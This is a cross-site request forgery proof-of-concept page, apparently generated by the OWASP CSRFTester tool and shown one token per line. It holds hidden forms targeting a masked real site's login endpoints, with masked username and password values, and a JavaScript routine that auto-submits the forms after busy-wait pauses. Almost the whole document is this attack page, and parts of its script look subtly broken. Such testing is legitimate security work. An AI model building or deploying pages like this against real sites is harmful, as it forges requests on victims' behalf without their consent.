01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
<
!DOCTYPE HTML PUBLIC
"-//W3C//DTD HTML 4.01 Transitional//EN"
>
<
html
>
<
head
>
<
title
>
OWASP CRSFTester Demonstration
<
/
title
>
<
/
head
>
<
body
>
<
script
language
=
"JavaScript"
>
var pauses
=
new
Array
(
"406"
,
"215"
,
"344"
,
"390"
)
;
function pausecomp
(
millis
)
{
var
date
=
new
Date
(
)
;
var curDate
=
null;
do
{
curDate
=
new
Date
(
)
;
}
while
(
curDate
-
date
<
millis
)
;
}
function fireForms
(
)
{
var count
=
4
;
var i
=
0
;
for
(
i
=
0
; i
<
count; i
+
+
)
{
document
.forms.submit
(
)
;
pausecomp
(
pauses
)
;
}
}
<
/
script
>
<
H
2
>
OWASP CRSFTester Demonstration
<
/
H
2
>
<
form method
=
"GET"
name
=
"form0"
action
=
"https://user.********com:443/login/signin"
>
<
input type
=
"hidden"
name
=
"name"
value
=
"value"
/
>
<
/
form
>
<
form method
=
"GET"
name
=
"form1"
action
=
"https://user.********.com:443/login/verify_image?d=1470218273;"
>
<
input type
=
"hidden"
name
=
"name"
value
=
"value"
/
>
<
/
form
>
<
form method
=
"POST"
name
=
"form2"
action
=
"https://user.**********.com:443/login/selectUserEnt"
>
<
input type
=
"hidden"
name
=
"username"
value
=
"1*********18"
/
>
<
input type
=
"hidden"
name
=
"name"
value
=
"1********18"
/
>
<
/
form
>
<
form method
=
"POST"
name
=
"form3"
action
=
"https://user.************.com:443/login/signin"
>
<
input type
=
"hidden"
name
=
"username"
value
=
"1********18"
/
>
<
input type
=
"hidden"
name
=
"password"
value
=
"**********"
/
>
<
input type
=
"hidden"
name
=
"yzm"
value
=
""
/
>
<
/
form
>
<
/
body
>
<
/
html
>
|